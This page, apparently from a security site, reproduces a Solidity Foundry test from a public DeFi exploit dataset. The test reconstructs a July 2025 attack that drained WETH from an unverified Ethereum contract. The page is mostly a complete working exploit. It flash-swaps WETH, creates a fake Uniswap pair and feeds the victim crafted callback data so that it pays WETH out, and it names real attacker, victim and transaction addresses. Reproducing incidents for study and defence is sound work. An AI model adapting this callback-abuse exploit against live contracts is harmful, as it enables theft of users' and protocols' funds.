Skip to content
THREATWIRE

Public reproduction file

src/test/2025-07/Unverified6883_exp.sol

Public reproduction file for dataset entry Unverified6883.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-07/Unverified6883_exp.sol223 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5
6// @KeyInfo - Total Lost : $1,006.89
7// Attacker : 0x87c6D33808F10348Cd9a4Cd825f25BE341d7bA2d
8// Attack Contract : 0x46bBB647B61560432b58eCBa6Bd048D691701D82
9// Vulnerable Contract : 0x6883Fe4D2EE50941b80b41b8F7F9BF2561D844Cc
10// Attack Tx : https://etherscan.io/tx/0x6fb78c7737463ea39a23159dd8496c178106b4ee657f2fb6fcb628240c39cd2e
11//
12// @Info
13// Vulnerable Contract Code : https://etherscan.io/address/0x6883Fe4D2EE50941b80b41b8F7F9BF2561D844Cc#code
14//
15// @Analysis
16// Telegram Alert : https://t.me/defimon_alerts/1544
17//
18// Attack summary: The attacker used a real DAI/WETH flash swap, created a temporary token/pair, and made that fake
19// pair call the victim's UniswapV2 callback.
20// Root cause: The unverified victim accepted a callback from a freshly-created fake pair and transferred WETH to it;
21// manipulated fake-pair reserves let the attacker withdraw WETH and keep the surplus after repaying the real flash swap.
23interface IERC20Like {
24 function balanceOf(address account) external view returns (uint256);
25 function transfer(address to, uint256 amount) external returns (bool);
28interface IUniswapV2Factory {
29 function createPair(address tokenA, address tokenB) external returns (address pair);
32interface IUniswapV2Pair {
33 function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
34 function sync() external;
37contract ContractTest is BaseTestWithBalanceLog {
38 address private constant ATTACKER = 0x87c6D33808F10348Cd9a4Cd825f25BE341d7bA2d;
39 address private constant VICTIM = 0x6883Fe4D2EE50941b80b41b8F7F9BF2561D844Cc;
40 address private constant TEMP_TOKEN = 0x67F6965C0B899d12122d116d890A034e05881562;
41 address private constant TEMP_HELPER = 0x25bCC6F744D2b23CE39D8189E151dE4aA621Bb6c;
42 uint256 private constant FORK_BLOCK = 23_002_633;
43 uint256 private constant PROFIT_WETH = 267_592_060_870_468_589;
45 IERC20Like private constant WETH = IERC20Like(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
47 function setUp() public {
48 vm.createSelectFork("mainnet", FORK_BLOCK);
50 fundingToken = address(WETH);
51 attacker = ATTACKER;
53 vm.label(ATTACKER, "attacker");
54 vm.label(VICTIM, "unverified callback target");
55 vm.label(TEMP_TOKEN, "temporary token");
56 vm.label(TEMP_HELPER, "temporary helper");
57 vm.label(address(WETH), "WETH");
58 }
60 function testExploit() public balanceLog {
61 FakeERC20 implementation = new FakeERC20();
62 vm.etch(TEMP_TOKEN, address(implementation).code);
63 NoopSwapHelper helperImplementation = new NoopSwapHelper();
64 vm.etch(TEMP_HELPER, address(helperImplementation).code);
66 FakeCallbackExploit exploit = new FakeCallbackExploit(ATTACKER);
67 FakeERC20(TEMP_TOKEN).mint(address(exploit), 1_000_000_000 ether);
69 uint256 beforeBalance = WETH.balanceOf(ATTACKER);
70 vm.prank(ATTACKER);
71 exploit.execute();
73 assertEq(WETH.balanceOf(ATTACKER) - beforeBalance, PROFIT_WETH, "WETH profit mismatch");
74 }
77contract FakeCallbackExploit {
78 address private constant VICTIM = 0x6883Fe4D2EE50941b80b41b8F7F9BF2561D844Cc;
79 address private constant TEMP_TOKEN = 0x67F6965C0B899d12122d116d890A034e05881562;
80 address private constant TEMP_HELPER = 0x25bCC6F744D2b23CE39D8189E151dE4aA621Bb6c;
81 address private constant TEMP_PAIR = 0x986a80dE5B3066350Eb921d9D99a9efCa205c2d9;
82 address private constant DAI_WETH_PAIR = 0xA478c2975Ab1Ea89e8196811F51A7B7Ade33eB11;
83 address private constant UNISWAP_FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
84 address private constant WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
86 uint256 private constant FLASH_WETH = 100_000_000_000_000_000;
87 uint256 private constant VICTIM_WETH_PAYMENT = 269_000_000_000_000_000;
88 uint256 private constant TEMP_PAIR_WETH_OUT = 367_892_963_578_592_963;
89 uint256 private constant FLASH_REPAY = 100_300_902_708_124_374;
90 uint256 private constant PROFIT_WETH = 267_592_060_870_468_589;
91 uint256 private constant ROUTE_AMOUNT_HINT = 3_071_891_971_238_012_784_039;
92 uint256 private constant HELPER_AMOUNT0_OUT = 2_859_728_258_123_006_471_879_656;
93 uint256 private constant NESTED_PAYMENT_AMOUNT = 2 ether;
94 uint256 private constant ABI_TUPLE_OFFSET = 0x20;
95 uint256 private constant NESTED_TAIL_OFFSET = 0xe0;
96 bytes32 private constant VICTIM_CALLBACK_DATA_HASH =
97 0x7e260cef7057ac72b4717b9474cc0d186496fb819a7be14e22213de9d9e95d17;
99 IERC20Like private constant WETH = IERC20Like(WETH_ADDRESS);
100 IERC20Like private constant FAKE_TOKEN = IERC20Like(TEMP_TOKEN);
102 address private immutable _recipient;
104 struct VictimCallbackPayload {
105 address token0;
106 address token1;
107 uint256 amount0;
108 uint256 amount1;
109 uint256 paymentAmount;
110 address paymentTo;
111 address receiver;
112 VictimSwapHop[] hops;
113 }
115 struct VictimSwapHop {
116 address helper;
117 address token0;
118 address token1;
119 uint256 routeAmountHint;
120 uint256 amount0Out;
121 uint256 amount1Out;
122 bytes data;
123 }
125 constructor(address recipient) {
126 _recipient = recipient;
127 }
129 function execute() external {
130 IUniswapV2Pair(DAI_WETH_PAIR).swap(0, FLASH_WETH, address(this), bytes("COMPLETE_RECOVERY"));
131 }
133 function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata) external {
134 require(msg.sender == DAI_WETH_PAIR, "unexpected pair");
135 require(sender == address(this), "unexpected sender");
136 require(amount0 == 0 && amount1 == FLASH_WETH, "unexpected flash amount");
138 address pair = IUniswapV2Factory(UNISWAP_FACTORY).createPair(TEMP_TOKEN, WETH_ADDRESS);
139 require(pair == TEMP_PAIR, "unexpected temp pair");
141 FAKE_TOKEN.transfer(TEMP_PAIR, 100 ether);
142 WETH.transfer(TEMP_PAIR, FLASH_WETH);
143 IUniswapV2Pair(TEMP_PAIR).sync();
145 bytes memory victimCallbackData = _victimCallbackData();
146 require(keccak256(victimCallbackData) == VICTIM_CALLBACK_DATA_HASH, "callback data mismatch");
147 IUniswapV2Pair(TEMP_PAIR).swap(1 ether, 0, VICTIM, victimCallbackData);
148 require(WETH.balanceOf(TEMP_PAIR) == FLASH_WETH + VICTIM_WETH_PAYMENT, "victim payment mismatch");
150 IUniswapV2Pair(TEMP_PAIR).sync();
151 FAKE_TOKEN.transfer(TEMP_PAIR, 999_999_900 ether);
152 IUniswapV2Pair(TEMP_PAIR).swap(0, TEMP_PAIR_WETH_OUT, address(this), "");
154 WETH.transfer(DAI_WETH_PAIR, FLASH_REPAY);
155 WETH.transfer(_recipient, PROFIT_WETH);
156 }
158 function _victimCallbackData() private pure returns (bytes memory) {
159 VictimSwapHop[] memory hops = new VictimSwapHop[](1);
160 hops[0] = VictimSwapHop({
161 helper: TEMP_HELPER,
162 token0: WETH_ADDRESS,
163 token1: TEMP_TOKEN,
164 routeAmountHint: ROUTE_AMOUNT_HINT,
165 amount0Out: HELPER_AMOUNT0_OUT,
166 amount1Out: 0,
167 data: _nestedVictimCallbackData()
168 });
170 return abi.encode(
171 VictimCallbackPayload({
172 token0: WETH_ADDRESS,
173 token1: TEMP_TOKEN,
174 amount0: 0,
175 amount1: 0,
176 paymentAmount: VICTIM_WETH_PAYMENT,
177 paymentTo: TEMP_PAIR,
178 receiver: VICTIM,
179 hops: hops
180 })
181 );
182 }
184 function _nestedVictimCallbackData() private pure returns (bytes memory) {
185 return abi.encode(
186 ABI_TUPLE_OFFSET,
187 WETH_ADDRESS,
188 TEMP_TOKEN,
189 uint256(0),
190 uint256(0),
191 NESTED_PAYMENT_AMOUNT,
192 TEMP_PAIR,
193 VICTIM,
194 NESTED_TAIL_OFFSET
195 );
196 }
199contract FakeERC20 {
200 mapping(address => uint256) public balanceOf;
202 function decimals() external pure returns (uint8) {
203 return 18;
204 }
206 function symbol() external pure returns (string memory) {
207 return "TMP";
208 }
210 function mint(address to, uint256 amount) external {
211 balanceOf[to] += amount;
212 }
214 function transfer(address to, uint256 amount) external returns (bool) {
215 balanceOf[msg.sender] -= amount;
216 balanceOf[to] += amount;
217 return true;
218 }
221contract NoopSwapHelper {
222 function swap(uint256, uint256, address, bytes calldata) external {}

Analysis

Dataset entry

Public Foundry test for “Unverified6883” (2025-07-26). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

22 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x87c6d33808f10348cd9a4cd825f25be341d7ba2d

  • Attack Contract

    0x46bbb647b61560432b58ecba6bd048d691701d82

  • Vulnerable Contract

    0x6883fe4d2ee50941b80b41b8f7f9bf2561d844cc

  • Attack Tx

    0x6fb78c7737463ea39a23159dd8496c178106b4ee657f2fb6fcb628240c39cd2e

File record

Name
Unverified6883
Path
src/test/2025-07/Unverified6883_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
22b1953bfd4c14c1f2fb6ad25b519baf955c3758
Language
Solidity
Size
224 lines
Date
2025-07-26
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-07/Unverified6883_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 22b1953bfd4c14c1f2fb6ad25b519baf955c3758, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.